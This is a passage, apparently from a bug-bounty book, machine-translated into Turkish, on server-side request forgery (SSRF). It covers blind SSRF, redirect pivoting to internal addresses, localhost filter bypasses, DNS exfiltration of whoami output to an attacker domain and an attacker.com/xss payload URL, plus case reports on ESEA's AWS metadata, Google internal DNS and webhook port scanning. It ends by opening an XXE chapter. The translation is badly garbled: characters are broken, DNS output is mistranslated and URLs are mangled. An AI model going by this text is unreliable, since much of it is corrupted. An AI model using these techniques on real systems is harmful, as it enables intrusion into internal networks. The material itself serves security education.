daha sonra ver�tabanı sunucusu web uygulama sunucusuna ve web'e cevap verecekt�r.
Uygulama sunucusu b�lg�ler� s�ze �let�r. Bu süreçte sıklıkla
Uzak ver�tabanı sunucusunun var olduğunu ve doğrudan
ver�tabanı.

Saldırganların dah�l� sunuculara �stekler� kontrol etmes�ne �z�n veren hassas sunucular
özel b�lg�ler� açığa vurmak. Örneğ�n, öncek� ver�tabanı örneğ�ndek� b�r SSRF
b�r saldırganın ver�tabanı sunucusuna �stek göndermes�ne ve b�lg� almasına �z�n vereb�l�r
er�şemezlerd�. SSRF açıkları, saldırganların daha gen�ş b�r alana er�ş�m�n� sağlar
hedeflenen ağ.

B�r SSRF bulursanız, ancak güvenl�k açığı bulunan s�ten�n dah�l� sunucuları yoktur veya kullanılamaz.
güvenl�k açığı �le er�ş�leb�l�r, kontrol ed�leb�lecek en �y� şey, yapıp yapamayacağınızdır
Güvenl�k açığı bulunan sunucudan �steğe bağlı har�c� s�telere �stekte bulunma. Eğer hedef
Sunucu kontrol ett�ğ�n�z b�r sunucuyla �let�ş�m kurmak �ç�n kullanılab�l�r,
kullanılan yazılım ve s�z hakkında daha fazla b�lg� ed�nmek �ç�n ondan b�lg� �sted�.
ona ver�len cevabı kontrol edeb�l�r.
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Örneğ�n, har�c� �stekler� dah�l� �steklere dönüştüreb�l�rs�n�z.
savunmasız sunucu yönlend�rmeler� tak�p edecek, b�r numara Just�n Kennedy (@jstnkndy) d�kkat çekt�
bana göre. B�r s�ten�n dah�l� IP’lere er�ş�me �z�n vermed�ğ�, ancak har�c� �let�ş�me geçeceğ� durumlarda
s�teler�nde, b�r yönlend�rme olan 301 durum koduyla b�r HTTP yanıtı döndüreb�l�rs�n�z. Dan ber�
Yanıtı kontrol edersen�z, yönlend�rmey� test etmek �ç�n dah�l� b�r IP adres�ne yönlend�reb�l�rs�n�z.
Sunucunun 301'� tak�p ed�p edemeyeceğ� ve �ç ağına b�r HTTP �steğ� yapıp yapmayacağı.

En az heyecan ver�c� durum, b�r SSRF güvenl�k açığının yalnızca �let�ş�m kurmanıza �z�n verd�ğ� durumdur.
sınırlı sayıda har�c� web s�tes� �le. Bu durumlarda, almak mümkün olab�l�r
yanlış yapılandırılmış b�r kara l�sten�n avantajı. Örneğ�n, b�r web s�tes�
har�c� olarak leanpub.com �le �let�ş�m kurun ancak yalnızca sağlanan URL’y� doğrulayın
leanpub.com'da b�ter, b�r saldırgan attackerleanpub.com'a kayıt olab�l�r. Bu �z�n verecek
Mağdur s�tes�ne ver�len yanıtı kontrol eden b�r saldırgan.

POST İstekler�ne Karşı GET'� Çağırma

B�r SSRF’n�n gönder�leb�leceğ�n� onayladıktan sonra, ne tür b�r HTTP’y� onaylamanız gerek�r.
s�teden yararlanmak �ç�n yöntem çağrılab�l�r: GET veya POST. POST �stekler� daha fazla olab�l�r
POST parametreler� olab�l�r, çünkü durum değ�şt�rme davranışını çağırab�l�r
Kontrollü. Durum değ�şt�rme davranışı kullanıcı hesapları yaratıyor, s�stem� çağırıyor olab�l�r
Sunucunun neyle �let�ş�m kurab�leceğ�ne bağlı olarak komutlar veya rasgele kod yürütme
�le. Öte yandan, GET �stekler� çoğu zaman ver� doldurma �le �l�şk�lend�r�l�r.

Kör SSRF'ler

B�r taleb� nerede ve nasıl yapab�leceğ�n�z� onayladıktan sonra, d�kkate alınması gereken b�r sonrak� şey
B�r �steğ�n cevabına er�ş�p er�şemed�ğ�n�z. B�r yanıta er�şemed�ğ�n�zde,
kör b�r SSRF'n�z var. Örneğ�n, b�r saldırgan dah�l� b�r ağa er�şeb�l�r
SSRF üzer�nden, ancak dah�l� sunucu �stekler�ne HTTP yanıtlarını okuyamıyor. Çünkü
saldırgan cevapları okuyamıyor, alternat�f b�r yol bulmaları gerekecek
b�lg� ayıklanıyor. Bunu yapmanın �k� yaygın yolu vardır: zamanlama ve DNS.

Bazı kör SSRF'lerde, yanıt süreler�, sunucular hakkında b�lg� vereb�l�r.
�le etk�leş�me g�rd�. Bunu kullanmanın b�r yolu, er�ş�lemeyen sunucuları taramaktır. L�manlar
B�r sunucuya b�lg� g�r�ş� ve �letme yeteneğ� sağlamak. Sunucudak� portları tarıyorsunuz
B�r �stek göndererek ve yanıtlayıp yanıtlamadıklarını görerek. Örneğ�n, �st�smar ed�yorsanız
Bu sunucuları tarayarak bağlantı noktasıyla dah�l� b�r ağa b�r SSRF
1 san�ye �le 10 san�ye arasında açık, kapalı veya f�ltrel�
b�l�nen bağlantı noktalarının (80 veya 443 g�b�) yanıt vermes� üzer�ne. F�ltrelenm�ş bağlantı noktaları b�r �let�ş�m g�b�d�r
Kara del�k. İsteklere cevap verm�yorlar, bu yüzden açık mı yoksa kapalı mı olduklarını asla b�lemeyeceks�n�z. İç�nde
Aks�ne, hızlı b�r yanıt, sunucunun açık olduğu ve �let�ş�m� kabul ett�ğ� anlamına geleb�l�r.
veya kapalı ve �let�ş�m� kabul etm�yor. Port tarama �ç�n SSRF'den yararlanırken,
22 (SSH �ç�n kullanılır), 80 (HTTP), 443 (HTTPS) g�b� ortak bağlantı noktalarına bağlanmayı denemel�s�n�z,

Sayfa 103

Sunucu Tarafı İsteğ� Sahtec�l�ğ� 91

Yanıtların farklılık göster�p göstermed�ğ�n� doğrulamak �ç�n 8080 (alternat�f HTTP) ve 8443 (alternat�f HTTPS)
ve bundan hang� b�lg�ler� elde edeb�l�rs�n�z.

DNS, �nternet �ç�n b�r har�ta olarak kullanılır. Kullanarak DNS �stekler�n� çağırab�l�rsen�z,
�ç s�stemler ve alt etk� alanı da dah�l olmak üzere �steğ�n adres�n� kontrol edeb�l�r,
Başka türlü kör SSRF açıkları dışında b�lg� g�zl�l�ğ� yakalayab�l�rs�n�z. �ç�n



bundan faydalanırsanız, kaçakçılı b�lg�ler� kend� etk� alanınıza b�r alt etk� alanı olarak eklers�n�z
hedeflenen sunucu s�ten�ze bu alt etk� alanı �ç�n b�r DNS araması gerçekleşt�r�r. İç�n
Örneğ�n, kör b�r SSRF bulursanız ve b�r sunucuda sınırlı komutları çalıştırab�l�rsen�z
ancak aramayı kontrol ederken DNS aramalarını çağırab�l�yorsanız yanıtları okumayın.
doma�n, whoam� komutunu kullanarak ve çıktısını b�r alt etk� alanı olarak eklemek
Sunucunuza b�r �stek, sunucu �ç�n b�r DNS araması alacaksınız data.yourdoma�n.com ,
nerede ver� savunmasız sunucunun dışarı olduğunu benk�m�m komuta.

SSRF'den Yararlanma

Dah�l� s�stemler� hedefleyemed�ğ�n�zde, bunun yer�ne SSRF'lerden yararlanmayı deneyeb�l�rs�n�z.
Bu kullanıcıları etk�ler. SSRF'n�z kör değ�lse, bunu yapmanın b�r yolu b�r XSS döndürmekt�r.
savunmasız s�tede yürütülen SSRF �steğ�ne yönel�k yük. Depolanan XSS
faydalı ver� yükü, özell�kle d�ğer kullanıcılar tarafından kolayca er�ş�leb�l�yorsa öneml�
Onlara saldırmak �ç�n bundan yararlanab�l�rs�n�z. Örneğ�n, sözde www.leanpub.com ac-
prof�l resm�n�z�n resm�n� almak �ç�n b�r URL’y� ş�freled�: www.leanpub.com/p�cture?url=
. XSS’l� b�r HTML sayfası döndüren kend� s�ten�ze b�r URL göndereb�l�rs�n�z
yük, www.leanpub.com/p�cture?url=attacker.com/xss. Www.leanpub.com kayded�lm�şse
HTML ve görüntü �ç�n �şlenen, depolanan b�r XSS güvenl�k açığı olacaktır.
Ancak, Leanpub HTML’y� XSS’le b�rl�kte oluştursa da kaydetmed�yse, test edeb�l�rs�n�z.
Bu eylem �ç�n CSRF'y� önley�p önlemed�kler�. Olmazlarsa, URL’y� paylaşab�l�rs�n�z.
www.leanpub.com/p�cture?url=attacker.com/xss b�r hedef� olan ve bağlantıyı z�yaret ett�lerse,
XSS SSRF'n�n sonucu olarak s�ten�ze ateş eder.

SSRF açıklarını ararken, bulunduğunuz fırsatlara göz atın
bazı s�te �şlevler�n�n b�r parçası olarak b�r URL veya IP adres� göndereb�l�r ve
İç s�stemler �le �let�ş�m kurma davranışını nasıl kullanab�leceğ�n�z� veya
Bunu d�ğer kötü n�yetl� davranış türler�yle b�rleşt�r�n.

Örnekler

1. ESEA SSRF ve Sorgu AWS Meta Ver�ler�

Zorluk : orta

URL : https://play.esea.net/global/med�a_prev�ew.php?url=
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Rapor Bağlantısı : http://buer.haus/2016/04/18/esea-server-s�de-request-forgery-and-query-
�ng-aws-meta-ver� / 1

Rapor Tar�h� : 18 N�san 2016

Ödemel� Ödül : 1000 Dolar

Tanım :

E-Spor Eğlence Derneğ� (ESEA), rekabetç� b�r v�deo oyun yarışmasıdır.
E-Spor Eğlence Derneğ� (ESEA) tarafından kurulmuştur. Son zamanlarda b�r başladı
Brett Buerhaus'un üzer�nde güzel b�r SSRF kırılganlığı bulduğu hata ödül programı.

Brett, Google Dork�ng'� kullanarak s�tey� aradı : https: //play.esea.net/ ext: php . Bu
PHP �ç�n play.esea.net alan adında arama yapmak �ç�n Google’dan yararlanır . Sorgu sonuçları

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/


dah�l https://play.esea.net/global/med�a_prev�ew.php?url= .
URL’ye baktığımızda, ESEA dış kaynaklı �çer�k oluşturuyormuş g�b� görünüyor.
S�teler. SSRF'y� ararken bu kırmızı bayraktır. Anlattığı g�b�, Brett kend� yaptı ...
ana: https://play.esea.net/global/med�a_prev�ew.php?url=http://z�ot.org . Ama hayır
şans. Anlaşılan esea, res�m dosyaları arıyordu, bu yüzden res�m �çeren b�r yükü dened�.
önce Google’ı alan adı olarak, ardından kend� kodunu kullanarak, https://play.esea.net/global/med�a_-
ön�zleme.php? url = http: //z�ot.org/1.png .

Başarı.

Ş�md�, buradak� asıl güvenl�k açığı b�r sunucuyu başka �çer�k oluşturmaya kandırmaktan kaynaklanıyor
amaçlanan görüntülerden daha. Yazısında, Brett b�r null kullanmak g�b� t�p�k h�leler ayrıntıları
bayt (% 00), ek eğ�k ç�zg�ler ve ger� atlamak veya kandırmak �ç�n soru �şaretler�
son. Onun durumunda, o ekled�? URL'ye: https://play.esea.net/global/med�a_pre-
v�ew.php? url = http: //z�ot.org/? 1.png .

Bunun yaptığı, öncek� dosya yolunu dönüştürmek, 1.png b�r parametreye değ�l
gerçek URL oluşturuluyor. Sonuç olarak, ESEA web sayfasını oluşturdu. Başka b�r dey�şle, o
�lk testten uzatma kontrolünü atladı.

Ş�md�, burada, açıklandığı g�b� b�r XSS yükü çalıştırmayı deneyeb�l�rs�n�z. Sadece bas�t b�r yarat
Javascr�pt �le HTML sayfası, s�tey� oluşturmak �ç�n olsun ve heps� bu. Ama daha �ler� g�tt�.
Ben Sadegh�pour'dan gelen b�lg�lerle (Hack�ng Pro T�ps Röportaj # 1'den onu unutma
YouTube kanalımda), AWS EC2 örneğ� meta ver�ler�n�n sorgulanmasını test ett�.

EC2, Amazon'un Elast�k Hesap Bulutu veya bulut sunucularıdır. Sorgulama yeteneğ� sağlarlar
kend�ler�, IP üzer�nden, örnek hakkında meta ver� çekmek �ç�n. Bu ayrıcalık bell� k�
örneğ�n kend�s�ne k�l�tlend�, ancak Brett sunucuyu kontrol etme yeteneğ�ne sah�p olduğundan
�çer�k yüklüyordu, çağrıyı kend�ne yapıp meta ver�ler� çekeb�l�yordu.

Ec2'n�n belgeler� burada: http://docs.aws.amazon.com/AWSEC2/latest/UserGu�de/ec2-
example-metadata.html . Alab�leceğ�n�z bazı oldukça hassas b�lg�ler var.

1 http://buer.haus/2016/04/18/esea-server-s�de-request-forgery-and-query�ng-aws-meta-data/
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çıkarımlar

Google Dork�ng, her türünü açığa çıkarırken s�ze zaman kazandıracak har�ka b�r araçtır
olası �st�smarların. SSRF açıkları arıyorsanız, uyanık olun
Uzaktak� �çer�ğ� çeken görünen hedef URL'ler �ç�n. Bu durumda, o
oldu url = eşant�yon oldu.

İk�nc�s�, sah�p olduğunuz �lk düşünce �le kaçmayın. Brett rapor vereb�l�rd�
Bu kadar etk�l� olmayacak olan XSS yükü. B�raz kazarak
daha der�n, bu güvenl�k açığının gerçek potans�yel�n� ortaya çıkarab�ld�. Ama ne zaman
bunu yaparken aşmamak �ç�n d�kkatl� olun.

2. Google Dah�l� DNS SSRF

Zorluk : orta

URL : https://www.rcesecur�ty.com/2017/03/ok-google-g�ve-me-all-your-�nternal-dns-�nfor-
mat�on /

Rapor Bağlantısı : https://www.rcesecur�ty.com/2017/03/ok-google-g�ve-me-all-your-�nternal-

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/


dns-b�lg� / 2
Rapor Tar�h� : Ocak 2017

Ödemel� Ödül : açıklanmadı

Tanım :

Google, kullanıcıların sorunları g�dermeler� �ç�n https://toolbox.googleapps.com s�tes�n� sağlar.
Google’ın Google Apps H�zmetler�yle yaşıyoruz. Araçlar, tarayıcı hata ayıklama, günlük anal�zörler� �çer�r
ve DNS �le �lg�l� aramalar. Jul�en Ahrens’�n ne zaman d�kkat�n� çeken DNS araçlarıydı.
S�teye güvenl�k açıkları göz atma (bunun dah�l ed�lmes�ne �z�n verd�ğ� �ç�n teşekkür eder�z)
K�taptak� güvenl�k açığı ve yakaladığı res�mler�n kullanılması).

Google’ın DNS araçlarının b�r parçası olarak, 'D�g' adında b�r tane bulunur. Bu çok benzer davranır
S�te DNS b�lg�s� �ç�n alan adı sunucularını sorgulamak �ç�n Un�x d�g komutu. Bu
IP adres�n� www.google.com g�b� okunab�l�r b�r alana eşleyen b�lg�ler. De
Bulma zamanı, Google b�r� URL �ç�n d�ğer� �ç�n �k� g�rd� alanı �çer�yordu.
Bu alanda göster�ld�ğ� g�b� alan adı sunucusu, Jul�en'�n �zn�yle.

2 https://www.rcesecur�ty.com/2017/03/ok-google-g�ve-me-all-your-�nternal-dns-�nformat�on/
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Google Araç Kutusu Arab�r�m�

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/


Kullanıcıların �z�n verd�ğ� �ç�n Jul�en’�n d�kkat�n� çeken “Ad sunucusu” alanıydı.
DNS sorgusunun yönlend�r�leceğ� b�r IP adres� bel�rlemek �ç�n. Bu öner�ld�ğ� g�b� öneml�d�r
kullanıcıların DNS sorgularını herhang� b�r IP adres�ne, muhtemelen �nternet kısıtlı IP's�ne göndereb�leceğ�n�
adresler� yalnızca dah�l� özel ağlarda kullanmak �ç�nd�r. Bu IP aralıkları şunları �çer�r:

• 10.0.0.0 - 10.255.255.255
• 100.64.0.0 - 100.127.255.255
• 127.0.0.0 - 127.255.255.255
• 172.16.0.0 - 172.31.255.255
• 192.0.0.0 - 192.0.0.255
• 198.18.0.0 - 198.19.255.255

G�r�ş alanını test etmeye başlamak �ç�n, Jul�en ortak yerel ana b�lg�sayar adres�n� 127.0.0.1’e sunmuştur.
komutu yürüten sunucuyu adreslemek �ç�n kullanılır. Bunu yapmak hatayla sonuçlandı
"Sunucu yanıt vermed�" mesajı. Bu, aracın aslında denemeye çalıştığını �ma ett�.
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b�lg� �ç�n DNS aramalarına yanıt vermek �ç�n kullanılan bağlantı noktası olan kend� bağlantı noktası 53'e bağlanın
s�tes� hakkında, rcesecur�ty.com.

Bu �nce mesaj çok öneml�d�r, çünkü potans�yel b�r güvenl�k açığını ortaya çıkarır. Daha büyük
Özel ağlar, tüm sunucular �nternete bakmaz, yan� yalnızca bel�rl� sunucular
uzaktan kullanıcılar tarafından er�ş�m olab�l�r. Web s�teler�n� çalıştıran sunucular kasıtlı olarak b�r örnekt�r
er�ş�leb�l�r �nternet sunucuları. Ancak, b�r ağdak� sunuculardan b�r�n�n her �k�s� de �ç
ve dış er�ş�m ve b�r SSRF güvenl�k açığı �çer�yorsa, saldırganlar yararlanab�l�r
Bu sunucuya, dah�l� sunuculara er�şmek �ç�n. Jul�en'n�n aradığı şey buydu.

Bu notta, HTTP �steğ�n� �ç numaralandırmaya başlamak �ç�n Burp davets�z m�saf�r�ne gönderd�
10. aralıktak� IP adresler�. B�rkaç dak�ka sonra, dah�l� b�r k�ş�den cevap aldı.
10. IP adres� (b�lerek açıklanmadı) hakkında boş b�r A kaydı olan
alan adı.

ID 60520

opcode QUERY
rcode redded�ld�

bayraklar QR RD RA

;SORU
www.rcesecur�ty.com/tr A

;CEVAP

;YETKİ
;EK

Boş olması, b�r DNS sunucusu beklememem�z�n b�r önem� yok.
har�c� s�tes� hakkında b�r şeyler b�lmek. İçer�ğ� de bunun �ç�n öneml� değ�l
örnek. Aks�ne, umut ver�c� olan şey, dah�l� er�ş�m� olan b�r DNS sunucusunun
bulundu.

B�r sonrak� adım Google’ın dah�l� ağı hakkında b�lg� almaktı. En �y�s�
Bunu yapmanın yolu �ç ş�rket ağını bulmaktır. Bu kolayca b�r üzer�nden yapıldı
ycomb�nator’ın HackerNews referansları üzer�ne b�r yayın yapan hızlı Google araması
corp.google.com. Corp.google.com alt alanını hedeflemen�n neden�, ağıdır.



b�lg� dah�l� olmalı ve halka açık olmamalıdır.
Böylece, b�r sonrak� adım corp.google.com �ç�n alt etk� alanlarını kaba b�r şek�lde zorlamak oldu.
ad.corp.google.com’u kaldırdı (görünüşe göre b�r Google araması da bunu yapmış
kadar). Bu alt etk� alanını göndererek ve dah�l� IP adres�n� kullanarak, Google
özel DNS b�lg�ler�n�n demet:
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ID 54403
opcode QUERY

rcode NOERROR

bayraklar QR RD RA
;SORU

ad.corp.google.com A’da

;CEVAP
ad.corp.google.com. 100'DEN BİRLEŞTİRİLDİ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ

ad.corp.google.com. 100'DEN BİRLEŞTİRİLDİ

;YETKİ
;EK

Dah�l� IP adresler� 100 ve 172'ye referansları not ed�n.
Ad.corp.google.com �ç�n DNS araması aşağıdak�ler� döndürdü:

d�g B�r ad.corp.google.com @ 8.8.8.8

; << >> D�G 9.8.3- P1 << >> B�r reklam.corp.google.com.tr @ 8.8.8.8
;; genel seçenekler : + cmd

;; Got cevap :

;; - >> HEADER << - opcode : QUERY, durum : NXDOMAIN, �d : 5981
;; bayraklar : qr rd ra; QUERY : 1 , CEVAP : 0 , YETKİ : 1 , EK : 0

;; SORU BÖLÜM :
; Ad.corp.google.com. İÇİNDE

;; YETKİ BÖLÜM :
corp.google.com. 59 SOA IN ns3.google.com.tr. dns - adm�n.google.com. 147615698 90 \

0 900 1800 60

;; Sorgu süres� : 28 msn



;; SUNUCU : 8.8.8.8 # 53 ( 8.8.8.8 )
;; WHEN : Çar 15 Şubat 23:56:05 2017
;; MSG BOYUTU rcvd : 86
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Ad.corp.google.com �ç�n dah�l� �s�m sunucularını da ed�nmek mümkündü:

k�ml�k 34583

opcode QUERY

rcode NOERROR
bayraklar QR RD RA

;SORU

ad.corp.google.com IN NS’de
;CEVAP

ad.corp.google.com. 1904 IN NS sıcak dcREDACTED

ad.corp.google.com. 1904 IN NS sıcak dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED

ad.corp.google.com. 1904 IN NS vmgwsREDACTED

ad.corp.google.com. 1904 IN NS sıcak dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED

ad.corp.google.com. 1904 IN NS cbf-dcREDACTED

ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED

ad.corp.google.com. 1904 IN NS twd-dcREDACTED

;YETKİ
;EK

Son olarak, bu d�ğer alt alanlara da b�r m�necraft sunucusu da dah�l olmak üzere er�ş�leb�l�rd�.
m�necraft.corp.google.com

çıkarımlar
Web s�teler�n�n yapması gereken �şlevler �çerd�ğ� fırsatları göz önünde bulundurun
har�c� HTTP �stekler�. Bunlarla karşılaştığınızda, �steğ� �şaretlemey� deney�n
dah�l� olarak yukarıda l�stelenen özel ağ IP adres�n� kullanarak.

S�te dah�l� IP’lere er�şemezse, b�r keres�nde Just�n Kennedy’ye b�r numara öner�ld�:
dış HTTP �steğ�n� s�z�n kontrol ett�ğ�n�z ve yanıtladığınız b�r sunucuya yapacaktım
301 yönlend�rmes� �le bu �stek. Bu tür b�r cevap �stekte bulunduğunu
Talep ett�kler� kaynağın yer� değ�şt� ve onları �şaret ett�
yen� b�r yere Yanıtı kontrol ett�ğ�n�zden, yönlend�rmey� �şaret edeb�l�rs�n�z.
sunucuyu görmek �ç�n dah�l� b�r IP adres�ne yönlend�rmek
�ç ağ

3. Dah�l� Bağlantı Noktası Taraması

Zorluk : Kolay
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URL : Yok

Rapor Bağlantısı : Yok

Rapor Tar�h� : 2017

Ödemel� Ödül : açıklanmadı

Tanım :

Web kancaları, kullanıcıların b�r s�teden �stek göndermeler�n� �stemes�n� sağlayan ortak b�r �şlevd�r.
bel�rl� eylemler gerçekleşt�ğ�nde başka b�r uzak s�teye. Örneğ�n, b�r e-t�caret s�tes�
kullanıcıların satın alma b�lg�ler�n� uzaktan kumandaya gönderen b�r web kancası kurmalarını sağlayab�l�r.
B�r kullanıcı her s�par�ş verd�ğ�nde s�te gönder�r. Kullanıcının tanımlamasını sağlayan Web kancaları
Uzak s�ten�n URL's� SSRF'ler �ç�n b�r fırsat sağlar, ancak herhang� b�r�n�n etk�s� olab�l�r.
İsteğ� her zaman kontrol edemed�ğ�n�z veya yanıta er�şemed�ğ�n�z �ç�n sınırlı.

Ek�m 2017’de, b�r s�tey� özel oluşturma yeteneğ� sağladığını fark ett�ğ�mde test ed�yordum
web kancaları. Sunucunun �z�n ver�p vermeyeceğ�n� görmek �ç�n web kancası URL’s�n� http: // localhost olarak gönderd�m.
kend�s� �le �let�ş�m kurmak. Ancak, s�te buna �z�n ver�lmed�ğ�n� söyled�, ben de dened�m.
http://127.0.0.1 , ancak bu aynı zamanda b�r hata mesajı verd�. Bel�rs�z, referans vermeye çalıştım
127.0.0.1 başka şek�llerde. IP Adres� Dönüştürücü 3 l�steler� b�rçok alternat�f IP adresler�
127.0.1 ve 127.1 dah�l b�rçokları arasında. Her �k�s� de �şe çıktı.

Raporumu gönderd�m, ancak bunun c�dd�yet� b�r ödül almak �ç�n çok düşüktü.
Yerel ev sah�b� kontroller�n� atlayab�ld�ğ�m� gösterm�şt�m. İç�n uygun olmak
ödül, altyapılarını tehl�keye atma ya da ayıklama yeteneğ�n� göstermem gerek�yordu.
b�lg�.

S�tede ayrıca kullanıcıların uzaktan almalarını sağlayan web entegrasyonları adı ver�len b�r özell�k vardı.
s�teye �çer�k. Özel b�r entegrasyon oluşturarak uzak b�r URL sağlayab�l�r.
s�tem�n hesabımı ayrıştırması ve oluşturması �ç�n b�r XML yapısı döndürüyor.

Başlamak �ç�n, 127.0.0.1’y� gönderd�m ve s�ten�n bazı b�lg�ler� �fşa edeb�leceğ�n� umdum
cevap. Bunun yer�ne, s�te geçerl� �çer�k yer�ne b�r hata verd�: 500 “Yapılamıyor
bağlan. ”Bu umut ver�c� görünüyordu çünkü s�te hakkında b�lg� açıklıyordu.
tepk�. Sonra, sunucudak� bağlantı noktalarıyla �let�ş�m kurab�leceğ�m olup olmadığını kontrol ett�m. g�tt�m
entegrasyon yapılandırmasına ger� döndü ve IP adres� olan 127.0.0.1:443'ü gönderd�.
er�şmek ve sunucudak� bağlantı noktasına b�r �k� nokta �le ayrılmış olarak. Bu ben� görmek �ç�n �z�n verd�
s�te 443 numaralı bağlantı noktasında �let�ş�m kurab�l�yordu. Y�ne, 500 “Bağlanamıyorum” u aldım. Bağlantı noktası �ç�n aynı
8080. Sonra, genell�kle SSH üzer�nden bağlanmak �ç�n kullanılan 22 numaralı bağlantı noktasını dened�m. Bu sefer aldım
hata 503, “Tüm başlıklar alınamadı.”

B�ngo. Bu cevap farklıydı ve b�r bağlantıyı doğruladı. “Tümü alınamadı
başlıklar ”�ade ed�ld� çünkü SSH'y� bekleyen b�r l�mana HTTP traf�ğ� gönder�yordum
protokol. Web entegrasyonlarını kullanab�leceğ�m� göstermek �ç�n raporu tekrar gönderd�m

3 https://www.psyon.org/tools/�p_address_converter.php?�p=127.0.0.1
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cevapları açık / kapalı ve farklı olduğu �ç�n dah�l� sunucularını taramak
f�ltrelenm�ş bağlantı noktaları.

çıkarımlar
Web kancaları oluşturmak �ç�n b�r URL göndereb�l�r veya uzaktan kasten �çer� aktarab�l�rsen�z
�çer�ğ� bel�rl� portları tanımlamaya çalışın. B�r sunucunun yanıt verme şekl�ndek� küçük değ�ş�kl�kler
farklı portlar portun açık / kapalı ya da f�ltrel� olup olmadığını ortaya çıkarab�l�r. Ek olarak
Sunucunun döndürdüğü mesajlardak� farklılıklara
bunlar açık / kapalı ya da sunucunun yanıt vermes� ne kadar sürerse f�ltrelen�yorlar
�stek �ç�n.

özet

Sunucu tarafı �steğ� sahtec�l�ğ�, b�r sunucu talepte bulunmak �ç�n kaldıraç kullanılab�ld�ğ�nde ortaya çıkar
saldırgan adına. Ancak, tüm talepler �st�smar ed�leb�l�r b�r sonuç değ�ld�r. Örneğ�n,
Bunun neden�, b�r s�ten�n kopyalayacağı ve kullanacağı b�r resme URL sağlamanıza �z�n vermes�d�r.
kend� s�tes� (yukarıdak� ESEA örneğ� g�b�), sunucunun savunmasız olduğu anlamına gelmez. bulgu
Bu sadece potans�yel�n ne olduğunu onaylamanız gereken �lk adımdır. İle
ESEA �le �lg�l� olarak, s�te res�m dosyaları ararken, ne olduğunu doğrulamıyor
Alınan ve kötü amaçlı XSS   yapmak ve ayrıca HTTP �stekler� yapmak �ç�n kullanılab�l�r.
kend� EC2 meta ver�ler�.
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Açıklama

B�r XML Dış Varlık (XXE) güvenl�k açığı, b�r uygulamanın nasıl ayrıştırılacağından yararlanılmasını �çer�r
XML g�r�ş�, daha özel olarak, uygulamanın dah�l ed�lmes�n� nasıl �şled�ğ�n� kullanarak
G�rd�ye dah�l ed�len har�c� varlıklar. Bunun nasıl kullanıldığına da�r tam b�r takd�r kazanmak
ve potans�yel�, �lk olarak ne gel�şt�r�leb�l�r Markup'un ne olduğunu anlamamızın en �y� olacağını düşünüyorum.
D�l (XML) ve dış varlıklardır.

Meta d�l, d�ğer d�ller� tanımlamak �ç�n kullanılan b�r d�ld�r ve XML budur
dır-d�r. HTML'den sonra kısmen, HTML'n�n eks�kl�kler�ne b�r cevap olarak gel�şt�r�ld�,
ver� görüntüsünü tanımlamak �ç�n kullanılır , nasıl görünmes� gerekt�ğ�ne odaklanır. Ters�ne,
XML, ver�ler�n nasıl yapılandırılacağını tanımlamak �ç�n kullanılır .

Örneğ�n, HTML’de, <t�tle> , <h1> , <table> , <p> , vb. G�b� et�ketler�n�z var .
�çer�ğ�n nasıl görüntüleneceğ�n� tanımlamak �ç�n kullanılır. <T�tle> et�ket� sayfa en tanımlamak �ç�n kullanılır
t�tle (şok ed�c�), <h1> et�ketler� başlıkları tanımlar, <table> et�ketler� satırlar hal�nde ver� sunar ve
sütunlar ve <p> bas�t met�n olarak sunulur. Buna karşılık, XML'�n önceden tanımlanmış et�ketler� yoktur.
Bunun yer�ne, XML belges�n� oluşturan k�ş�, tanımlamak �ç�n kend� et�ketler�n� tanımlar.
�çer�k sunuluyor. İşte b�r örnek:

<? xml vers�on = "1.0" encod�ng = "UTF-8"?>

<İşler>

<İş>
<t�tle> Hacker </t�tle>

<telaf�> 1000000 </ telaf�>

<sorumluluk �steğe bağlı = "1" > Web’� vurun </respons�b�l�ty>
</ İş>

</ İşler>

Bunu okuyarak, muhtemelen XML belges�n�n amacını tahm�n edeb�l�rs�n�z.
�ş l�steleme ancak b�r web sayfasında sunulmuşsa bunun nasıl görüneceğ� konusunda h�çb�r f�kr�n�z yok.
XML'�n �lk satırı, kullanılacak XML sürümünü bel�rten b�r b�ld�r�m başlığı ve
kodlamanın türü. Bunu yazarken, XML'�n 1.0 ve 1.1 olan �k� sürümü vardır.
1.0 �le 1.1 arasındak� farkların detaylandırılması, k�tabın kapsamı dışındadır.
Korsanlığı etk�lememel�s�n.

İlk başlıktan sonra, <jobs> et�ket� dah�l ed�l�r ve d�ğer tüm <job> et�ketler�n� çevreler ,
hang� �çer�r <t�tle> , <tazm�nat> ve <sorumluluklar> et�ketler�. Ş�md�, HTML �le
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bazı et�ketler kapanış et�ket� gerekt�rmez (örneğ�n, <br> ), tüm XML et�ketler� kapanış et�ket� gerekt�r�r.
Y�ne, yukarıdak� örneğ�n ç�z�m <�ş> , b�r başlangıç et�ket� ve </ �ş> olur
�lg�l� b�t�ş et�ket�. Ayrıca, her et�ket�n b�r adı vardır ve b�r n�tel�ğ� olab�l�r.
